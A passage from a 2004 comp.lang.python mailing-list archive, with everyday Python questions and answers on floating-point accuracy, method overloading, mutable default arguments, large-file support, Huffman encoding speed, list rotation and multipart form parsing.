because of some limitations, I think, but it comes close. But the C code generated is *ugly*. I think the mangled variable naming has a lot to do with that. Phil Frost suggested Psyco, but that actually generates assembly code, not C. - Jason From daniel at syrinx.net Thu Sep 9 09:10:28 2004 From: daniel at syrinx.net (Daniel Ellison) Date: Thu, 09 Sep 2004 09:10:28 -0400 Subject: Question: tools for business apps development In-Reply-To: References: <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> <864d370904090606465938fea5@mail.gmail.com> <2qavr3Ft7dgdU1@uni-berlin.de> Message-ID: <2qb2tmFt7dgdU2@uni-berlin.de> Carlos Ribeiro wrote: > On Thu, 09 Sep 2004 08:17:52 -0400, Daniel Ellison wrote: > >>[talking about the risks regarding Flash changes] >>A risk, yes, but not much of one. > > > I have to agree, and I admit that my problems with Flash come down to > two small issues: > > -- It's too glitzy :-) Yes, it may be a problem for people used to > design apps the old way. It's funny to note that Windows apps are not > much different from old text apps, as far as the structure of the > dialogs and windows is concerned. Everything is a rectangle. Flash > frees you of this kind of limitation. This kind of freedom can be > frightening for old timers (such as me). :) By any measure, I'm an old-timer as well. Maybe it helps that I have a graphics background, but then Peter doesn't and he seems open to the idea (see his "Flython" thread). But for those frightened by the non-rectangular nature of Flash :), there are many drag-and drop component libraries available which let you create what look like, for all intents and purposes, Windoze applications. The latest version of the Flash authoring environment supports this explicitly, with extensive libraries of powerful UI components, many of which incorporate automatic data validation. Macromedia's big push right now is what they call rich Internet applications. They (finally) see the potential of Flash as a very effective cross-platform client. > > -- Philosophically thinking, it's not free so it should not be used. > This a Stalmanish position, but it does have some power in the context > of a decision to use only free tools. Well, I'm not here to argue philosophical or moral issues, but I do believe in using the right tool for the right job. I do *not* believe that CSS+HTML+JavaScript is the right tool for /any/ job, actually. Currently, Flash is one of the only viable alternatives if one is writing a web-based application. Btw, "it's not free so it should not be used" wouldn't get you very far outside the IT world... :) > > BTW, if the Flash format is already open, and if Shockwave can't just > change it, why do they don't just dedicate it to the public domain as > proof of their good intentions? The fact is that there are a lot of > stuff that they want to keep for themselves -- the power to steer the > development of the Flash standard, and possibly a few patented > processes to generate or render some of its features. > Of /course/ they want control over their own format. They are a business, after all. (No... step away... from the controversy... must... resist...). Anyway, I do not work for, nor have I ever worked for Macromedia. I just see the potential in a technology that to date has been vastly mis-used and misunderstood. I think the combination of Python on the back-end and Flash on the client is an excellent approach for web applications. Dan From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Sun Sep 19 05:50:12 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=) Date: Sun, 19 Sep 2004 11:50:12 +0200 Subject: Math errors in python References: Message-ID: Hi ! No. BCD use another work : two digits by Byte. The calculation is basically integer, it's the library who manage the decimal point. There are no problem of round. @-salutations -- Michel Claveau From cpl.19.ghum at spamgourmet.com Sun Sep 12 03:42:09 2004 From: cpl.19.ghum at spamgourmet.com (Harald Massa) Date: Sun, 12 Sep 2004 07:42:09 +0000 (UTC) Subject: Postgresql - Preferred Python Library References: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au> Message-ID: > I've just started experimenting with psycopg2 > (http://wiki.initd.org/Projects/PsycopgTwo) and it's looking good. Matt, on my research of Python connectors to postgresql I also saw psycopg. I had to stop further testing because no win32 binaries were available. My knowledge grew since then, and meanwhile I was able to compile pyPgSQL myself using the instructions and MingW32. I was not able to compile psycopg2 with MingW32. I assume you use it outside windows, or do you have any binaries for Win32 and psycopg? The type issue sounds promising, would like to test it .. Harald From carribeiro at gmail.com Mon Sep 27 14:55:15 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 27 Sep 2004 15:55:15 -0300 Subject: Metaclass with name overloading. In-Reply-To: <1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com> References: <3c13hh0e.fsf@python.net> <1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com> Message-ID: <864d370904092711553ca023f6@mail.gmail.com> On Mon, 27 Sep 2004 19:11:14 +0200, Alex Martelli wrote: > so, class blop doesn't really have an 'f' (it does have it in the > __dict__, but it's a dummy '_ignore_method' entry with a suitable custom > metaclass would easily prune!-) but has __overloaded__f__0 and > __overloaded__f__1 methods (which, again, a suitable custom metaclass > could do whatever wonders with!-). The decorator could play it safe, and at the same time, return something like the original poster expects. Upon decoration the following would happen: 1) store the newly declared object in the list __overloaded__<$name>. 2) return a new object (to be bound to the <$name>), where <$name>.__call__ would return __overloaded__<$name>[-1]; and f.__iter__ would return an iterator for all declaration in the order they appear. I did it as follows; it _almost_ works (which really means it's broken), because there's a catch that I was not able to solve: ------------ import sys, itertools class OverloadedFunction: def __init__(self): self.overload_list = [] def __iter__(self): for item in self.overload_list: yield item def __getitem__(self, index): return self.overload_list[index] def __call__(self, *args, **kw): return self.overload_list[-1](*args, **kw) def append(self, f): self.overload_list.append(f) def overloaded(f): d = sys._getframe(1).f_locals n = '__overloaded__%s' % f.func_name #ofl = getattr(d, n, OverloadedFunction()) if n in d: print "achou" ofl = d[n] else: print "n?o achou" ofl = OverloadedFunction() print "<",ofl.overload_list,">", d, n ofl.append(f) d[n] = ofl return ofl class blop: def f(self): return 'first f' f = overloaded(f) def f(self): return 'second f' f = overloaded(f) print blop.__dict__ # there's a catch -- methods were not bound to the instance # so I need to pass the 'self' parameter manually b = blop() print blop.f(b) print blop.f[0](b) print blop.f[1](b) The problem is that the methods were not bound to the instance. Adding individual names to each method won't work, because it'll not bind the references stored in the overload_list. I thought about using a closure or curry type of solution, but that's something that I still don't understand very well. Any tips? -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From aleaxit at yahoo.com Fri Sep 24 04:04:27 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 24 Sep 2004 10:04:27 +0200 Subject: Python in a Nutshell for Python 2.4 References: <2Pt4d.5568$sa.2954@trndny05> <1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com> Message-ID: <1gkm3sg.1almygk1703t1eN%aleaxit@yahoo.com> Tuang wrote: ... > That's too bad, but thanks for the update, Alex. The quality of your You're welcome! > work makes you the right man for too many jobs, it appears. ;-) Flattery will get you anywhere... > BTW, when you said "still targeting Mar 2004" for the Cookbook, were > you joking about the nature of the book publishing industry, or was it > a typo for a real target date of Mar 2005? The latter - an off-by-one error!-) Alex From ismaelherreragasser at hotmail.com Fri Sep 24 22:51:25 2004 From: ismaelherreragasser at hotmail.com (Ismael Herrera) Date: Fri, 24 Sep 2004 22:51:25 -0400 Subject: html processing Message-ID: Why does the htmllib has such simple parsers? i think that making something more complicated that printing 'i am inside post tag' is too hard with this library since the parsers doesnt help at all. So the htmllib is a regex search with empty methods? i can do that by myself, no need use a parser, i am a litle confused in this. Is there a python html parser that creates objects from html sources,like xml.dom? From no_damned_spam at nospam.no Sun Sep 12 15:08:07 2004 From: no_damned_spam at nospam.no (Mario Berger) Date: Sun, 12 Sep 2004 21:08:07 +0200 Subject: open and shut case In-Reply-To: References: <878ybfk3rf.fsf@pobox.com> Message-ID: >> PS. these days, your subject line sounds distinctly spammish >> (especially since it's a woman posting the message to a >> comp. newsgroup -- how likely can that be? ;-) > > > What the .... ??! Was that supposed to be funny? The smiley > suggests you thought it was. It isn't. It's crude and rude. > > Andrew Cut him some slack, he may be really battered by spam and kinda sensitive on the issue ;) ~Mik -- Top-Bottom Programming never gets you where you wanted to go. Bottom-Top Programming gets you where you never wanted to go. while not life: sleep((sleep.normal_time - 5h)); eat(mode=fast); pc_mainloop() From gherron at islandtraining.com Sun Sep 19 05:34:00 2004 From: gherron at islandtraining.com (Gary Herron) Date: Sun, 19 Sep 2004 02:34:00 -0700 Subject: Math errors in python In-Reply-To: <70b3d.1822$uz1.747@trndny03> References: <70b3d.1822$uz1.747@trndny03> Message-ID: <200409190234.00253.gherron@islandtraining.com> On Sunday 19 September 2004 01:00 am, Chris S. wrote: > Gary Herron wrote: > > That's called rational arithmetic, and I'm sure you can find a package > > that implements it for you. However what would you propose for > > irrational numbers like sqrt(2) and transcendental numbers like PI? > > Sqrt is a fair criticism, but Pi equals 22/7, What? WHAT? Are you nuts? Pi and 22/7 are most certainly not equal. They don't even share three digits beyond the decimal point. (Can you really be that ignorant about numbers and expect to contribute intelligently to a discussion about numbers. Pi is a non-repeating and non-ending number in base 10 or any other base.) > exactly the form this > arithmetic is meant for. Any decimal can be represented by a fraction, > yet not all fractions can be represented by decimals. My point is that > such simple accuracy should be supported out of the box. > > > While I'd love to compute with all those numbers in infinite > > precision, we're all stuck with FINITE sized computers, and hence with > > the inaccuracies of finite representations of numbers. > > So are our brains, yet we somehow manage to compute 12.10 + 8.30 > correctly using nothing more than simple skills developed in > grade-school. You could theoretically compute an infinitely long > equation by simply operating on single digits, yet Python, with all of > its resources, can't overcome this hurtle? > > However, I understand Python's limitation in this regard. This > inaccuracy stems from the traditional C mindset, which typically > dismisses any approach not directly supported in hardware. As the FAQ > states, this problem is due to the "underlying C platform". I just find > it funny how a $20 calculator can be more accurate than Python running > on a $1000 Intel machine. If you are happy doing calculations with decimal numbers like 12.10 + 8.30, then the Decimal package may be what you want, but that fails as soon as you want 1/3. But then you could use a rational arithmetic package and get 1/3, but that would fail as soon as you needed sqrt(2) or Pi. But then you could try ... what? Can you see the pattern here? Any representation of the infinity of numbers on a finite computer *must* necessarily be unable to represent some (actually infinity many) of those numbers. The inaccuracies stem from that fact. Hardware designers have settled on a binary representation of floating point numbers, and both C and Python use the underlying hardware implementation. (Try your calculation in C -- you'll get the same result if you choose to print out enough digits.) And BTW, your calculator is not, in general, more accurate than the modern IEEE binary hardware representation of numbers used on most of today's computers. It is more accurate on only a select subset of all numbers, and it does a good job of fooling you in those cases where it loses accuracy, by doing calculations on more digits then it displays, and rounding off to the on-screen digits. So while a calculator will fool you into believing it is accurate when it is not, it is Python's design decision to not cater to fools. Dr Gary Herron From aurora00 at gmail.com Wed Sep 15 16:48:44 2004 From: aurora00 at gmail.com (aurora) Date: Wed, 15 Sep 2004 13:48:44 -0700 Subject: thread specific sys.stdout? Message-ID: This may sound a little crazy. I capture the output of one class by redirecting the sys.stdout. However the is another threading running at the same time and occasionaly it output some messages to the redirected sys.stdout irreleveant to the output I want to capture. Is there a way to redirect output specific to some threads? aurora From export at hope.cz Mon Sep 20 12:16:58 2004 From: export at hope.cz (Lad) Date: 20 Sep 2004 09:16:58 -0700 Subject: Shopping cart Message-ID: <81a41dd.0409200816.5659197b@posting.google.com> Is there a shopping cart in Python available? From julien.sagnard.withoutthis at free.fr Wed Sep 22 04:19:45 2004 From: julien.sagnard.withoutthis at free.fr (Julien Sagnard) Date: Wed, 22 Sep 2004 10:19:45 +0200 Subject: Somthing strange with list as default argument Message-ID: <415135a2$0$2388$626a14ce@news.free.fr> Hi all, When passing a list as default argument for a function, only one list is created for all calls. exemple: >>> def f(a=[]): ... a.append("x") ... print a ... >>> f() ['x'] >>> f() ['x', 'x'] >>> f() ['x', 'x', 'x'] >>> f() ['x', 'x', 'x', 'x'] >>> I'm not found any reference of this. Is it a bug ? I'm working on Windows 2000 with python 2.3.4 From a.schmolck at gmx.net Tue Sep 21 12:08:43 2004 From: a.schmolck at gmx.net (Alexander Schmolck) Date: Tue, 21 Sep 2004 17:08:43 +0100 Subject: python is going to die! =( References: <278de0e.0409201131.57baf7f9@posting.google.com> <414f61bf$0$29449$636a15ce@news.free.fr> Message-ID: Andrew Dalke writes: > bruno modulix wrote: >> Well, you forgot emacs, the best Python IDE around - and it's free... > > Speaking of which, is there any way to get tab-completion > (intellisense?) behaviour in emacs? Or in the interactive > interpreter? Ipython (with or without my hacky emacs support) will give you such functionality in the interactive interpreter. If someone had some spare time, maybe the bicycle repair man infrastructure could be leveraged for quite sophisticated completion support (and more). 'as From beliavsky at aol.com Fri Sep 17 13:27:39 2004 From: beliavsky at aol.com (beliavsky at aol.com) Date: 17 Sep 2004 10:27:39 -0700 Subject: getting the function name Message-ID: <3064b51d.0409170927.584a10b3@posting.google.com> Is there a way in Python to print the name of the function one is currently in? The code def foo(): debug = True if (debug): print "entered",__name__ x = foo() outputs "entered __main__" I want to print "entered foo". Of course I could just hard-code the string "foo" in a print statement, but I don't want to have the function name written in more than one place. From alex_stante at yahoo.de Sun Sep 12 12:38:40 2004 From: alex_stante at yahoo.de (Alexander Stante) Date: 12 Sep 2004 09:38:40 -0700 Subject: Problems with subclassing Message-ID: Hello, I have the following problem. I want to subclass from the pygame class Surface, but I can't get it working: class sprite(Surface): def __init__(self, image_array, palette): "some code here" when I want to create a instance with: gfx.sprite(arrayi, palette) I get the following error message: TypeError: argument 1 must be sequence of length 2, not 100 It seems that the constructor of Surface is not overrided by the one in sprite, but why? From claird at lairds.us Thu Sep 30 01:08:03 2004 From: claird at lairds.us (Cameron Laird) Date: Thu, 30 Sep 2004 05:08:03 GMT Subject: multiple instance on Unix References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> <415AF802.1080909@bellsouth.net> Message-ID: In article , Mike Meyer wrote: . . . >The (old) standard method for locking on Unix is to use a file. Open >it in exclusive mode. Using os.open(, O_EXCL | O_RDONLY) (or >O_WRONLY, or O_RDWR) should do the trick. . . . *My* favorite is to open a server socket; its semantics are exactly those one wants, without having to tend to filesystem hygiene with its attendant race and security challenges. From sholden at flexal.cs.usyd.edu.au Fri Sep 10 05:18:03 2004 From: sholden at flexal.cs.usyd.edu.au (Sam Holden) Date: 10 Sep 2004 09:18:03 GMT Subject: Request Headers In a CGI References: <6f402501.0409100102.3fa002ea@posting.google.com> Message-ID: On 10 Sep 2004 02:02:23 -0700, Michael Foord wrote: > Is it possible to get at the http request headers in a normal CGI ? > > I can't touch the server, so I can't install anything like mod_python. > I've tried googling but the answer seems to be 'no'. > > I know I can reconstruct *most* headers from the environment variables > - is this my only option ? I've heard of 'non-parsed headers', but I > don't know how to use them from within a python cgi.... Non-parsed headers are unrelated - they involve the web server not parsing the CGI response headers but instead sending them directly to the browser. What you want can't be done. You can reconstruct most of what you want via the environment, but not all of it. HTTP Authentication passwords leap to mind. -- Sam Holden From anon at ymous.com Thu Sep 16 21:51:00 2004 From: anon at ymous.com (Anon) Date: Fri, 17 Sep 2004 01:51:00 GMT Subject: optimizing memory utilization References: Message-ID: On Wed, 15 Sep 2004 14:59:45 +0000, John Lenton wrote: > On Tue, Sep 14, 2004 at 04:39:49AM +0000, Anon wrote: >> Hello all, >> >> I'm hoping for some guidance here... I am a c/c++ "expert", but a >> complete python virgin. I'm trying to create a program that loads in >> the entire FreeDB database (excluding the CDDBID itself) and uses this >> "database" for other subsequent processing. The problem is, I'm >> running out of memory on a linux RH8 box with 512MB. The FreeDB >> database that I'm trying to load is presently consisting of two "CSV" >> files. The first file contains a "list" of albums with artist name and >> an arbitrary sequential album ID an the CDDBID (an ascii-hex >> representation of a 32-bit value). The second file contains a list of >> all of the tracks on each of the albums, crossreferenced via the album >> ID. When I load into memory, I create a python list where each entry >> in the list is itself a list representing the data for a given album. >> The album data list consists of a small handful of text items like the >> album title, author, genre, and year, as well as a list which itself >> contains a list for each of the track on the album. >> >> [[, '', '', '','', >> [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]], >> [, '', '', '','', >> [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]], >> ... >> [, '', '', '','', >> [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]]]] > > silly question: have you looked into using tuples instead of lists for > the inner objects? They're supposed to be more memory efficient, > although I have found that that isn't necessarily the case. That's exactly the kind of feedback that I was looking for when I asked the question. However the suggestion that MusicBrainz already does what I want in a possibly more accurate way looks like it might be an even better suggestion, leaving me to concentrate my efforts on some other as-yet-unsolved problem instead! Thanks! Wes From klapotec at chello.at Wed Sep 1 22:03:33 2004 From: klapotec at chello.at (Christopher Koppler) Date: Thu, 02 Sep 2004 02:03:33 GMT Subject: negative stride list slices References: <8a638f47.0409010941.7f1cbbad@posting.google.com> <2pmj4aFmofl2U1@uni-berlin.de> Message-ID: On Wed, 01 Sep 2004 14:57:57 -0700, Shalabh Chaturvedi wrote: > Shalabh Chaturvedi wrote: > >> I'd like to add: >> >> +---+---+---+---+---+ >> | H | e | l | p | A | >> +---+---+---+---+---+ >> 0 1 2 3 4 5 >> -5 -4 -3 -2 -1 >> | | >> start end (defaults for +ve step) >> end start (defaults for -ve step) >> >> (Is this correct?) > > Apparently not. That should be +---+---+---+---+---+ | H | e | l | p | A | +---+---+---+---+---+ 0 1 2 3 4 5 -6 -5 -4 -3 -2 -1 | | start end (defaults for +ve step) end start (defaults for -ve step) > > >>> "HelpA"[-1:-2:-1] > 'A' > > I would expect 'p'. Also, > > >>> "HelpA"[:-1:-1] > '' > > And I definitely expected 'A'. Now I find it confusing too. > > Does anyone else find it intuitive to expect that S[b:a:-1] be exactly > reverse of S[a:b:1]? As others have explained, that's not easily possible because of Python's zero-based indexing, which in general is great, but can lead to confusion because using negative strides indices begin with -1. > > This is only true for S[::1] and S[::-1]. In other cases, for -ve step, > the -ve indices seem to indicate a shifted position. I'm using Python 2.3.3. The defaults here map to S[0:len(S):1] and S[-1:-len(S)-1:-1]. -- Christopher From jerf at jerf.org Thu Sep 30 15:48:37 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Thu, 30 Sep 2004 19:48:37 GMT Subject: List rotation References: Message-ID: On Thu, 30 Sep 2004 04:11:47 +0100, M. Clift wrote: > Hi All, > > Could someone help me out with this? > > items = ('a', 'b', 'c', 'd') > items + 1 = ( 'b', 'c', 'd', 'a') > items + 2 = ( 'c', 'd', 'a', 'b') > items + 3 = ( 'd', 'a', 'b', 'c') I keep seeing this come up and waiting for someone to post this answer, which is what I think I would use. It happens to nearly work like you wrote, too, though I actually had this idea formulated before your post: ---------------- class Rotater(object): """Rotater takes a sequence of fixed length (__len__ is defined) that uses __getitem__ from 0 to len - 1, and translates accesses such that the resulting list appears rotated, without building any new lists. Usage examples: >>> l = ['a', 'b', 'c', 'd', 'e'] >>> r = Rotater(l) # No initial translation >>> r[0] == 'a' True >>> r[-1] == 'e' True >>> r += 1 # translate by one more >>> r[0] == 'b' True >>> r[-1] == 'a' True >>> list(r) == ['b', 'c', 'd', 'e', 'a'] True >>> r += 9 # can go beyond one rotation >>> list(r) == l True >>> r -= 11 # can use negative rotation >>> list(r) ['e', 'a', 'b', 'c', 'd'] >>> list(r+1) ['a', 'b', 'c', 'd', 'e'] >>> list(r-1) ['d', 'e', 'a', 'b', 'c'] >>> list(1+r) ['a', 'b', 'c', 'd', 'e'] """ def __init__(self, wrapped, offset = 0): self.wrapped = wrapped self.offset = offset def __getitem__(self, index): index += self.offset index %= len(self.wrapped) return self.wrapped[index] def __iadd__(self, offset): self.offset += offset return self def __isub__(self, offset): self.offset -= offset return self def __add__(self, offset): return Rotater(self.wrapped, self.offset + offset) def __sub__(self, offset): return Rotater(self.wrapped, self.offset - offset) def __radd__(self, offset): return Rotater(self.wrapped, self.offset + offset) def __iter__(self): for i in range(len(self.wrapped)): yield self[i] if __name__ == "__main__": import sys import doctest doctest.testmod(sys.modules[__name__]) ------------ This wins big for large lists that are rotated a lot by not constructing extra lists. Note changes to the underlying lists are reflected in the rotations, which can be a feature or a mis-feature depending on the problem. In the small, it can be more convenient to work with than the other solutions... or not, again depending on the problem. From python473 at yahoo.com Wed Sep 1 17:14:28 2004 From: python473 at yahoo.com (John Howard) Date: 1 Sep 2004 14:14:28 -0700 Subject: file access in jythonc References: <9eabe547.0408210611.d5e54f7@posting.google.com> <9eabe547.0408301406.2543e691@posting.google.com> <9eabe547.0408311130.73beef80@posting.google.com> <9eabe547.0409010600.4d566928@posting.google.com> Message-ID: <9eabe547.0409011314.77bcc7b5@posting.google.com> Alan Kennedy wrote in message news:... > [John Howard] > > So does that mean that a jre does not have to be on the local pc? > > No: there *must* be a JRE on the local PC: how could the java/jython run > at all without an execution environment? > > The JRE on the local PC is the very thing that is preventing you from > reading files from local drives. > > If you want to, you can permit any and all applet to load files from > your local drive. In Internet Explorer, select > "Tools->Options"->Security->Custom Level->Microsoft VM->Java > Permissions->Custom->Java Custom Settings. > > In that control panel you can disable all of the protections that your > browser puts in place to protect you from hostile applets on the > Internet at large. Feel free to dismantle those security barriers, at > your own risk: by doing so you're opening the contents of your hard-disk > to the world. I Hope you're not storing any private or sensitive > information on there. > > > The local pc does not have to set policies, etc. > > No, that's precisely where you set policies. Where else could they be set? > > Alternatively, as others have pointed out multiple times, you can > digitally sign your applets so that they can be recognized and thus > given more permissions than unknown applets. I said jre, but meant jvm. But your answer is revealing also! From what you are saying, it is NOT possible to have a html page that can access a local file unless at least a jre is present. Again, not good. I think I'll just write the whole project in C. Forget jython! From dkuhlman at rexx.com Sun Sep 26 20:33:20 2004 From: dkuhlman at rexx.com (Dave Kuhlman) Date: Sun, 26 Sep 2004 17:33:20 -0700 Subject: How to parse multi-part content References: <2rjb2cF1b34ofU1@uni-berlin.de> Message-ID: <2rp5dmF1cgkbkU1@uni-berlin.de> Tim Roberts wrote: > Dave Kuhlman wrote: >> >>Suppose that I have content that looks like what I've included at >>the end of this message. Is there something in the standard >>Python library that will help me parse it, break into the parts >>separated by the boundary strings, extract headers from each >>sub-part, etc? >>... >>In case you are curious, this is content posted to my Zope server >>when I include an element '' in my form. > > Actually, you get this because your
header has > enctype="multipart/form-data". It happens that file upload only works > with that enctype, but you can use it without a file upload. > > That's why cgi.py knows how to parse this. Look at cgi.parse_multipart. Ah. A clue. I think you're telling me that it's the CGI specification that I need to be reading, right? I'll read some of that. Per your suggestion, I tried cgi.parse_multipart() and also class cgi.FieldStorage. They don't work. Or more correctly, I don't know how to use them. I guess I'll have to concede defeat, which in Python-speak means: "It was easier to write it myself." Basically, I wrote a little parser class ContentParser which exposes a method get_content_by_name. This method returns the body (what follows two carriage returns, up to the next boundary line) for a given name, where name is the value of the "name" field in the line: Content-Disposition: form-data; name="xschemaFile" I was in a bit of a hurry, so my solution (class ContentParser) is not very elegant. But if anyone needs it, let me know. And, thanks for the suggestions. Dave -- Dave Kuhlman http://www.rexx.com/~dkuhlman From martindemello at yahoo.com Thu Sep 2 05:45:49 2004 From: martindemello at yahoo.com (Martin DeMello) Date: Thu, 02 Sep 2004 09:45:49 GMT Subject: Announcing PyCs, a new Python-like language on .Net References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> <7Y2dncuabfymLajcRVn-gw@powergate.ca> <1iok6gznts9ad.ch1w241kak6y.dlg@40tude.net> Message-ID: Peter Kleiweg wrote: > > There are quit a lot of people who think JavaScript and Java are > the same thing, if not at least remotely related. Whch is sad, because javascript is actually a much nicer language than the 'java' part of its name would suggest :) martin From des.small at bristol.ac.uk Wed Sep 22 10:40:47 2004 From: des.small at bristol.ac.uk (Des Small) Date: Wed, 22 Sep 2004 14:40:47 GMT Subject: Python speed-up References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net> Message-ID: "Guyon Mor?e" writes: > Hi all, > > I am working on a Huffman encoding exercise, but it is kinda slow. This is > not a big problem, I do this to educate myself :) > > So I started profiling the code and the slowdown was actually taking place > at places where I didn't expect it. > > after I have created a lookup-table-dictionary with encodings like > {'d':'0110', 'e':'01' etc} to encode the original text like this: > > for c in original_text: > encoded_text += table[c] I probably shouldn't be guessing like this, but I know for sure that Python strings are immutable, and that this has to allocate a new string every time through the loop. How about encoded_text = ''.join([table[c] for c in original_text]) # untested, beware instead? > I can appreciate the length of the text is big, but this isn't a problem at > character frequency counting for eaxample. Why is this slow? > > > the second place the slowdown occurs is when I ty to chop the encoded string > of 0's and 1's in pieces of eigth like this: > > chr_list = [] # resulting list > while 1: > chr_list.append(encoded_text[:8]) # take 8 bits from string and put them > in the list > encoded_text = encoded_text[8:] # truncate the string > if len(encoded_text) < 8: # end of string reached > chr_list.append(encoded_text) > break Again with the mutable strings! Probably wizards can improve on the first thing that came to my mind: chr_list = [encoded_text[i:i+8] for i in range(0, len(encoded_text), 8)] # Tested, but carelessly At the very least it's shorter my way. > I hope someone can tell me why these are slow. Des isn't sure. -- "[T]he structural trend in linguistics which took root with the International Congresses of the twenties and early thirties [...] had close and effective connections with phenomenology in its Husserlian and Hegelian versions." -- Roman Jakobson From porky_pig_jr at my-deja.com Thu Sep 2 20:21:07 2004 From: porky_pig_jr at my-deja.com (Porky Pig Jr) Date: 2 Sep 2004 17:21:07 -0700 Subject: explainations about standard library and modules in Python. References: Message-ID: <56cfb0e3.0409021621.4759fee7@posting.google.com> "Hung ho" wrote in message news:... > My question is that, can anyone recommend me any book, or online > materials that could explain what the functions some of the modules in > the standard library can do that are packaged along with Python v. > 2.3.4?. For example, I read some modules such as os.py, sys.py, and > random.py The documents in those modules didn't help me to comprehend > what the purpose of the modules, and how to use them in Python. What are > their functions, and how do I use them. > Thank You. Python in a Nutshell has a nice concise converage of key functions of a built-in modules including both os.py and sys.py. 'Programming Python' goes into greater details, gives lots of coding examples. I agree on-line information you can retrieve with 'help' can be rather confusing. Doing something like help(random) got me lost in the forest, not seeing the trees. Once again, Python in a Nutshell has a nice page on random module with a list and short explanation of key functions. Granted, it mostly duplicates the staff from help(random), but it lists only those you really need to know to start using random. From danb_83 at yahoo.com Mon Sep 20 08:11:03 2004 From: danb_83 at yahoo.com (Dan Bishop) Date: 20 Sep 2004 05:11:03 -0700 Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> <0mssk056r9vp6qodi5drbin95g2gv58dem@4ax.com> Message-ID: Andrew Dalke wrote in message news:... > Andrea: > > This is from the Bible... > > > > 007:023 And he made a molten sea, ten cubits from the one brim to the > > other: it was round all about, and his height was five cubits: > > and a line of thirty cubits did compass it round about. > > > > So it's clear that pi must be 3 > > Or that the walls were 0.25 cubits thick, if you're talking > inner diameter vs. outer. ;) Or it could be 9.60 cubits across and 30.16 cubits around, and the numbers are rounded to the nearest cubit. Also, I've heard that the original Hebrew uses an uncommon spelling of the word for "line" or "circumference". Perhaps that affects the meaning. From jdhunter at ace.bsd.uchicago.edu Thu Sep 23 11:07:08 2004 From: jdhunter at ace.bsd.uchicago.edu (John Hunter) Date: Thu, 23 Sep 2004 10:07:08 -0500 Subject: lfs confusion Message-ID: I am a bit confused about LFS in python. In the olden days, I used the following to test whether python and my kernel supported large files >>> fd = open('/dev/null', 'rw') >>> fd.tell() 0L If 0L was returned, LFS was enabled, if 0 was returned, LFS was not enabled. I built python with LFS 499 CFLAGS='-D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64' OPT="-g -O2 $CFLAGS" ./configure 501 make 502 make install But fd.tell() returned 0. I wrote a little script to create a large file >4GB [root at crcdocs tmp]# cat lfs_write.py fd = file('test2.dat', 'w') SIZE = 4096 STOP = 2**32 total = 0 s = 'a'*SIZE while total I'm a rather new programmer - been messing around with Python for about half a year or so. I play a few online games and run a Teamspeak server. Recently I've found myself wanting to make a "sound board" program that lets me play prerecorded sounds over the microphone channel. :D What is the best way to go about doing this? I don't believe there's anything in the standard library that handles this, so I'd *probably* want to use SDL or something similar. Does anyone know of a solution that not only allows you to play sounds from Python, but also output those sounds to a channel other than Wave? (such as Microphone) Thanks in advance, I'll toss any worthwhile creations that result from the knowledge your way. ;D From corey.coughlin at attbi.com Thu Sep 23 20:31:21 2004 From: corey.coughlin at attbi.com (Corey Coughlin) Date: 23 Sep 2004 17:31:21 -0700 Subject: up with PyGUI! References: Message-ID: Alright, here's the question I'm going to start asking whenever anyone starts promoting a new gui for python. Is there an nice gui-driven gui creation tool to go with this? I realize that you're really happy with the API and all, but if there were a nice gui maker along with a nice python ide to go along with it, you'd probably make a lot more converts. And for once, it'd be nice to see a gui maker that isn't a thin wrapper of some C++ gui maker and doesn't produce some crappy non-python data file that another C++ program uses to make a library or some such bs. Just have it produce a nice python loop or something, that'd be good. Do that, make it truly cross platform, free and add a nice python ide, and you're well on your way to making it the standard python gui. "Zooko O'Whielacronx" wrote in message news:... > I'm a fan of Greg Ewing's PyGUI [1]. I used it to code a simple game > for my son [2], and enjoyed it. Programming with wxPython feels like > programming with a C++ tool that has been wrapped in Python. > Programming with PyGUI feels like programming with a real Python tool. > > If you're developing a commercial application in Python, wxPython is > currently the only option that offers native widgets on w32. It would > be a boost for Python if PyGUI got a native w32 backend. > > Therefore, I offer the following suggestions: > > Python programmers: use PyGUI! It's nice. Contribute bug reports and > so forth. > > Python developers: Is it too early to include PyGUI in the standard > library? It seems stable to me. > > PSF: If anyone applies for a grant [3] to put a proper w32 backend into > PyGUI, please give them money. I would offer to do that job myself, > but (a) I'm not w32 expert and (b) I'm busy trying to make one of those > aforementioned commercial apps. > > Thanks, > > Zooko, Journeyman Hacker > > [1] http://www.cosc.canterbury.ac.nz/~greg/python_gui/ > [2] http://zooko.com/log-2004.html#d2004-06-23 > [3] http://python.org/psf/call-2004.html From rattan at cps.cmich.edu Fri Sep 24 14:52:08 2004 From: rattan at cps.cmich.edu (Ishwar Rattan) Date: 24 Sep 2004 11:52:08 -0700 Subject: Delivered signal info in exit status of a process? Message-ID: <938a4680.0409241052.72867804@posting.google.com> Here is a piece code (according to blurb on os.wait, the lower order 7 bits of exit status of process should contain the signal number of signal that terminated the process..) and signal number should be 8 (SIGFPE), similar logic in C-code produces expected result. Any pointers? -ishwar ---- import os cpid = os.fork() if cpid == 0: 2 / 0 # divide by zero else if cpid > 0: ps, st = os.wait() print 'child got signal: %d, exit status: %d' %(st&0177, st>>8) prints:: child got signal: 0, exit status 1 --- From john.thingstad at 